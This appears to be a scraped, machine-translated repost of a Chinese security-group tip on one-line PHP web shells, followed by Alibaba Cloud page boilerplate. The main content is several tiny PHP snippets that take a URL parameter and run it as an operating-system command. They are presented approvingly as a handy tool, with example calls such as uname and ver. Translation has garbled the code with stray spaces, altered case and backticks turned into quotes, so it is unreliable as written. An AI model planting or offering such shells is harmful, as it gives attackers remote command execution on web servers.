PHP Command Execution in one sentence

Source: Internet
Author: User

Note: The I .S. T. O Information Security Team was first published, and then submitted to the Technical Discussion Group of the evil baboons information security team by the original author. I .S. T. O All Rights Reserved. The author must be specified for reprinting.
A few days ago, I saw someone sending it in the QQ group and tested it. It feels quite helpful:

Copy content to clipboard
Code:
Cmdexec20101201.php? Cx = uname-
<Pre> <? $ Cx1 = $ _ GET [cx]; echo '$ cx1';?> <Pre>

Register_global = on, you can use the following simplified version:
<Pre> <? = '$ Cx'?> </Pre>

Cmdexec20101201.php? Cx2 = ver
<Pre> <? = '$ _ GET [cx2]'?> </Pre>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.